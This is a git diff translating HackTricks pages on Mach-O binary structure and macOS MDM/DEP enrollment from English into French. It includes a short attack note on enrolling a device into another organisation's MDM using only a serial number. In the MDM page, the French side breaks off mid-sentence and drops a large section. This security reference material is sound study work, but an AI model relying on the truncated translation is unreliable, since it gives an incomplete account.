virtuelle** d'un processus lorsqu'il est exécuté. -There are **different types** of segments, such as the **\_\_TEXT** segment, which holds the executable code of a program, and the **\_\_DATA** segment, which contains data used by the process. These **segments are located in the data section** of the Mach-O file. +Il existe **différents types** de segments, tels que le segment **\_\_TEXT**, qui contient le code exécutable d'un programme, et le segment **\_\_DATA**, qui contient les données utilisées par le processus. Ces **segments sont situés dans la section de données** du fichier Mach-O. -**Each segment** can be further **divided** into multiple **sections**. The **load command structure** contains **information** about **these sections** within the respective segment. +**Chaque segment** peut être **divisé** en plusieurs **sections**. La **structure de commande de chargement** contient des **informations** sur **ces sections** dans le segment respectif. -In the header first you find the **segment header**: +Dans l'en-tête, vous trouverez d'abord l'**en-tête de segment** : -
struct segment_command_64 { /* for 64-bit architectures */
+
struct segment_command_64 { /* pour les architectures 64 bits */
 	uint32_t	cmd;		/* LC_SEGMENT_64 */
-	uint32_t	cmdsize;	/* includes sizeof section_64 structs */
-	char		segname[16];	/* segment name */
-	uint64_t	vmaddr;		/* memory address of this segment */
-	uint64_t	vmsize;		/* memory size of this segment */
-	uint64_t	fileoff;	/* file offset of this segment */
-	uint64_t	filesize;	/* amount to map from the file */
-	int32_t		maxprot;	/* maximum VM protection */
-	int32_t		initprot;	/* initial VM protection */
-	uint32_t	nsects;		/* number of sections in segment */
-	uint32_t	flags;		/* flags */
+	uint32_t	cmdsize;	/* inclut la taille des structures section_64 */
+	char		segname[16];	/* nom du segment */
+	uint64_t	vmaddr;		/* adresse mémoire de ce segment */
+	uint64_t	vmsize;		/* taille mémoire de ce segment */
+	uint64_t	fileoff;	/* décalage du fichier de ce segment */
+	uint64_t	filesize;	/* quantité à mapper depuis le fichier */
+	int32_t		maxprot;	/* protection VM maximale */
+	int32_t		initprot;	/* protection VM initiale */
+	uint32_t	nsects;		/* nombre de sections dans le segment */
+	uint32_t	flags;		/* indicateurs */
 };
 
-Example of segment header: +Exemple d'en-tête de segment :
-This header defines the **number of sections whose headers appear after** it: - +Cet en-tête définit le **nombre de sections dont les en-têtes apparaissent après** lui : ```c struct section_64 { /* for 64-bit architectures */ char sectname[16]; /* name of this section */ @@ -196,55 +177,51 @@ struct section_64 { /* for 64-bit architectures */ uint32_t reserved3; /* reserved */ }; ``` - -Example of **section header**: +Exemple d'**en-tête de section**:
-If you **add** the **section offset** (0x37DC) + the **offset** where the **arch starts**, in this case `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` +Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où commence l'**architecture**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
-It's also possible to get **headers information** from the **command line** with: - +Il est également possible d'obtenir des **informations d'en-tête** à partir de la **ligne de commande** avec: ```bash otool -lv /bin/ls ``` +Segments communs chargés par cette commande : -Common segments loaded by this cmd: - -* **`__PAGEZERO`:** It instructs the kernel to **map** the **address zero** so it **cannot be read from, written to, or executed**. The maxprot and minprot variables in the structure are set to zero to indicate there are **no read-write-execute rights on this page**. - * This allocation is important to **mitigate NULL pointer dereference vulnerabilities**. -* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only.** Common sections of this segment: - * `__text`: Compiled binary code - * `__const`: Constant data - * `__cstring`: String constants - * `__stubs` and `__stubs_helper`: Involved during the dynamic library loading process -* **`__DATA`**: Contains data that is **writable.** - * `__data`: Global variables (that have been initialized) - * `__bss`: Static variables (that have not been initialized) - * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Information used by the Objective-C runtime -* **`__LINKEDIT`**: Contains information for the linker (dyld) such as, "symbol, string, and relocation table entries." -* **`__OBJC`**: Contains information used by the Objective-C runtime. Though this information might also be found in the \_\_DATA segment, within various in \_\_objc\_\* sections. +* **`__PAGEZERO` :** Il indique au noyau de **mapper** l'**adresse zéro** afin qu'elle ne puisse **pas être lue, écrite ou exécutée**. Les variables maxprot et minprot dans la structure sont définies à zéro pour indiquer qu'il n'y a **aucun droit de lecture-écriture-exécution sur cette page**. + * Cette allocation est importante pour **atténuer les vulnérabilités de référence de pointeur NULL**. +* **`__TEXT`** : Contient du **code exécutable** et des **données en lecture seule**. Sections communes de ce segment : + * `__text` : Code binaire compilé + * `__const` : Données constantes + * `__cstring` : Constantes de chaîne + * `__stubs` et `__stubs_helper` : Impliqués pendant le processus de chargement de bibliothèque dynamique +* **`__DATA`** : Contient des données qui sont **modifiables**. + * `__data` : Variables globales (qui ont été initialisées) + * `__bss` : Variables statiques (qui n'ont pas été initialisées) + * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc) : Informations utilisées par le runtime Objective-C +* **`__LINKEDIT`** : Contient des informations pour le linker (dyld) telles que "les entrées de table de symboles, de chaînes et de relocation". +* **`__OBJC`** : Contient des informations utilisées par le runtime Objective-C. Bien que ces informations puissent également être trouvées dans le segment \_\_DATA, dans diverses sections \_\_objc\_\*. ### **`LC_MAIN`** -Contains the entrypoint in the **entryoff attribute.** At load time, **dyld** simply **adds** this value to the (in-memory) **base of the binary**, then **jumps** to this instruction to start execution of the binary’s code. +Contient le point d'entrée dans l'attribut **entryoff**. Au moment du chargement, **dyld** ajoute simplement cette valeur à la **base du binaire en mémoire**, puis **saute** à cette instruction pour démarrer l'exécution du code binaire. ### **LC\_CODE\_SIGNATURE** -Contains information about the **code signature of the Macho-O file**. It only contains an **offset** that **points** to the **signature blob**. This is typically at the very end of the file. +Contient des informations sur la **signature de code du fichier Macho-O**. Il ne contient qu'un **décalage** qui **pointe** vers le **blob de signature**. Cela se trouve généralement à la fin du fichier. ### **LC\_LOAD\_DYLINKER** -Contains the **path to the dynamic linker executable** that maps shared libraries into the process address space. The **value is always set to `/usr/lib/dyld`**. It’s important to note that in macOS, dylib mapping happens in **user mode**, not in kernel mode. +Contient le **chemin d'accès à l'exécutable du lien dynamique** qui mappe les bibliothèques partagées dans l'espace d'adressage du processus. La **valeur est toujours définie sur `/usr/lib/dyld`**. Il est important de noter que sous macOS, le mappage dylib se produit en **mode utilisateur**, pas en mode noyau. ### **`LC_LOAD_DYLIB`** -This load command describes a **dynamic** **library** dependency which **instructs** the **loader** (dyld) to **load and link said library**. There is a LC\_LOAD\_DYLIB load command **for each library** that the Mach-O binary requires. - -* This load command is a structure of type **`dylib_command`** (which contains a struct dylib, describing the actual dependent dynamic library): +Cette commande de chargement décrit une **dépendance de bibliothèque dynamique** qui **instructe** le **chargeur** (dyld) à **charger et lier ladite bibliothèque**. Il y a une commande de chargement LC\_LOAD\_DYLIB **pour chaque bibliothèque** que le binaire Mach-O requiert. +* Cette commande de chargement est une structure de type **`dylib_command`** (qui contient une structure dylib, décrivant la bibliothèque dynamique dépendante réelle) : ```objectivec struct dylib_command { uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ @@ -259,11 +236,7 @@ struct dylib { uint32_t compatibility_version; /* library's compatibility vers number*/ }; ``` - -![](<../../../.gitbook/assets/image (558).png>) - -You could also get this info from the cli with: - +Vous pouvez également obtenir ces informations depuis la ligne de commande avec : ```bash otool -L /bin/ls /bin/ls: @@ -271,52 +244,49 @@ otool -L /bin/ls /usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0) ``` +Certaines bibliothèques potentiellement liées à des logiciels malveillants sont : -Some potential malware related libraries are: - -* **DiskArbitration**: Monitoring USB drives -* **AVFoundation:** Capture audio and video -* **CoreWLAN**: Wifi scans. +* **DiskArbitration** : Surveillance des lecteurs USB +* **AVFoundation** : Capture audio et vidéo +* **CoreWLAN** : Analyses Wifi. {% hint style="info" %} -A Mach-O binary can contain one or **more** **constructors**, that will be **executed** **before** the address specified in **LC\_MAIN**.\ -The offsets of any constructors are held in the **\_\_mod\_init\_func** section of the **\_\_DATA\_CONST** segment. +Un binaire Mach-O peut contenir un ou plusieurs **constructeurs**, qui seront **exécutés avant** l'adresse spécifiée dans **LC\_MAIN**.\ +Les décalages de tous les constructeurs sont stockés dans la section **\_\_mod\_init\_func** du segment **\_\_DATA\_CONST**. {% endhint %} -## **Mach-O Data** +## **Données Mach-O** -The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. +Le cœur du fichier est la région finale, les données, qui se composent de plusieurs segments tels que définis dans la région des commandes de chargement. **Chaque segment peut contenir plusieurs sections de données**. Chacune de ces sections **contient du code ou des données** d'un type particulier. {% hint style="success" %} -The data is basically the part containing all the information loaded by the load commands LC\_SEGMENTS\_64 +Les données sont essentiellement la partie contenant toutes les informations chargées par les commandes de chargement LC\_SEGMENTS\_64. {% endhint %} ![](<../../../.gitbook/assets/image (507) (3).png>) -This includes: +Cela inclut : -* **Function table:** Which holds information about the program functions. -* **Symbol table**: Which contains information about the external function used by the binary -* It could also contain internal function, variable names as well and more. +* **Table des fonctions** : qui contient des informations sur les fonctions du programme. +* **Table des symboles** : qui contient des informations sur les fonctions externes utilisées par le binaire. +* Il peut également contenir des noms de fonctions internes, de variables et plus encore. -To check it you could use the [**Mach-O View**](https://sourceforge.net/projects/machoview/) tool: +Pour vérifier cela, vous pouvez utiliser l'outil [**Mach-O View**](https://sourceforge.net/projects/machoview/) :
-Or from the cli: - +Ou depuis la ligne de commande : ```bash size -m /bin/ls ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md index 34d79f749..a8ebac581 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -4,208 +4,48 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -## Basics +## Fondamentaux -### What is MDM (Mobile Device Management)? +### Qu'est-ce que MDM (Mobile Device Management) ? -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) est une technologie couramment utilisée pour **administrer les appareils informatiques des utilisateurs finaux** tels que les téléphones mobiles, les ordinateurs portables, les ordinateurs de bureau et les tablettes. Dans le cas des plates-formes Apple telles que iOS, macOS et tvOS, il fait référence à un ensemble spécifique de fonctionnalités, d'API et de techniques utilisées par les administrateurs pour gérer ces appareils. La gestion des appareils via MDM nécessite un serveur MDM commercial ou open source compatible qui implémente la prise en charge du [protocole MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). -* A way to achieve **centralized device management** -* Requires an **MDM server** which implements support for the MDM protocol -* MDM server can **send MDM commands**, such as remote wipe or “install this config” +* Un moyen d'atteindre une **gestion centralisée des appareils** +* Nécessite un **serveur MDM** qui implémente la prise en charge du protocole MDM +* Le serveur MDM peut **envoyer des commandes MDM**, telles que l'effacement à distance ou « installer cette configuration » -### Basics What is DEP (Device Enrolment Program)? +### Fondamentaux Qu'est-ce que DEP (Device Enrolment Program) ? -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. +Le [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) est un service proposé par Apple qui ** +### **Étape 7: Écoute des commandes MDM** -Administrators can leverage DEP to automatically enroll devices in their organization’s MDM server. Once a device is enrolled, **in many cases it is treated as a “trusted”** device owned by the organization, and could receive any number of certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). +* Après la vérification MDM, le fournisseur peut **émettre des notifications push en utilisant APNs** +* À la réception, cela est géré par **`mdmclient`** +* Pour interroger les commandes MDM, une demande est envoyée à ServerURL +* Utilise la charge utile MDM précédemment installée: + * **`ServerURLPinningCertificateUUIDs`** pour l'épinglage de la demande + * **`IdentityCertificateUUID`** pour le certificat client TLS -* Allows a device to automatically enroll in pre-configured MDM server the **first time it’s powered** on -* Most useful when the **device** is **brand new** -* Can also be useful for **reprovisioning** workflows (**wiped** with fresh install of the OS) +## Attaques -{% hint style="danger" %} -Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. -{% endhint %} +### Inscription de périphériques dans d'autres organisations -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? - -* A relatively old protocol, created before TLS and HTTPS were widespread. -* Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. - -### What are Configuration Profiles (aka mobileconfigs)? - -* Apple’s official way of **setting/enforcing system configuration.** -* File format that can contain multiple payloads. -* Based on property lists (the XML kind). -* “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. - -## Protocols - -### MDM - -* Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -* **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -* **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -* All over **HTTPS**. MDM servers can be (and are usually) pinned. -* Apple grants the MDM vendor an **APNs certificate** for authentication - -### DEP - -* **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - * The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - * The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - * The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -* More modern and **JSON** based (vs. plist) -* Apple grants an **OAuth token** to the MDM vendor - -**DEP "cloud service" API** - -* RESTful -* sync device records from Apple to the MDM server -* sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -* A DEP “profile” contains: - * MDM vendor server URL - * Additional trusted certificates for server URL (optional pinning) - * Extra settings (e.g. which screens to skip in Setup Assistant) - -## Serial Number - -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. - -{% content-ref url="macos-serial-number.md" %} -[macos-serial-number.md](macos-serial-number.md) -{% endcontent-ref %} - -## Steps for enrolment and management - -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) - -![](<../../../.gitbook/assets/image (564).png>) - -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. - -### Step 4: DEP check-in - Getting the Activation Record - -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) - -![](<../../../.gitbook/assets/image (568).png>) - -or when executing `sudo profiles show -type enrollment` - -* Determine **whether device is DEP enabled** -* Activation Record is the internal name for **DEP “profile”** -* Begins as soon as the device is connected to Internet -* Driven by **`CPFetchActivationRecord`** -* Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - * LaunchDaemon (always runs as root) - -It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** - -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used - -![](<../../../.gitbook/assets/image (566).png>) - -The response is a JSON dictionary with some important data like: - -* **url**: URL of the MDM vendor host for the activation profile -* **anchor-certs**: Array of DER certificates used as trusted anchors - -### **Step 5: Profile Retrieval** - -![](<../../../.gitbook/assets/image (567).png>) - -* Request sent to **url provided in DEP profile**. -* **Anchor certificates** are used to **evaluate trust** if provided. - * Reminder: the **anchor\_certs** property of the DEP profile -* **Request is a simple .plist** with device identification - * Examples: **UDID, OS version**. -* CMS-signed, DER-encoded -* Signed using the **device identity certificate (from APNS)** -* **Certificate chain** includes expired **Apple iPhone Device CA** - -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) - -### Step 6: Profile Installation - -* Once retrieved, **profile is stored on the system** -* This step begins automatically (if in **setup assistant**) -* Driven by **`CPInstallActivationProfile`** -* Implemented by mdmclient over XPC - * LaunchDaemon (as root) or LaunchAgent (as user), depending on context -* Configuration profiles have multiple payloads to install -* Framework has a plugin-based architecture for installing profiles -* Each payload type is associated with a plugin - * Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -* Example: - * Certificate Payloads use CertificateService.xpc - -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: - -* `com.apple.mdm`: to **enroll** the device in MDM -* `com.apple.security.scep`: to securely provide a **client certificate** to the device. -* `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -* Installing the MDM payload equivalent to **MDM check-in in the documentation** -* Payload **contains key properties**: -* - * MDM Check-In URL (**`CheckInURL`**) - * MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -* To install MDM payload, request is sent to **`CheckInURL`** -* Implemented in **`mdmclient`** -* MDM payload can depend on other payloads -* Allows **requests to be pinned to specific certificates**: - * Property: **`CheckInURLPinningCertificateUUIDs`** - * Property: **`ServerURLPinningCertificateUUIDs`** - * Delivered via PEM payload -* Allows device to be attributed with an identity certificate: - * Property: IdentityCertificateUUID - * Delivered via SCEP payload - -### **Step 7: Listening for MDM commands** - -* After MDM check-in is complete, vendor can **issue push notifications using APNs** -* Upon receipt, handled by **`mdmclient`** -* To poll for MDM commands, request is sent to ServerURL -* Makes use of previously installed MDM payload: - * **`ServerURLPinningCertificateUUIDs`** for pinning request - * **`IdentityCertificateUUID`** for TLS client certificate - -## Attacks - -### Enrolling Devices in Other Organisations - -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: +Comme précédemment commenté, pour essayer d'inscrire un périphérique dans une organisation, **seul un numéro de série appartenant à cette organisation est nécessaire**. Une fois le périphérique inscrit, plusieurs organisations installeront des données sensibles sur le nouveau périphérique: certificats, applications, mots de passe WiFi, configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé: {% content-ref url="enrolling-devices-in-other-organisations.md" %} [enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) {% endcontent-ref %} -## **References** +## **Références** * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) @@ -214,10 +54,10 @@ Therefore, this could be a dangerous entrypoint for attackers if the enrolment p ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md index 913c67f8c..f632e62cb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,58 +1,53 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection exclusive de [NFTs](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 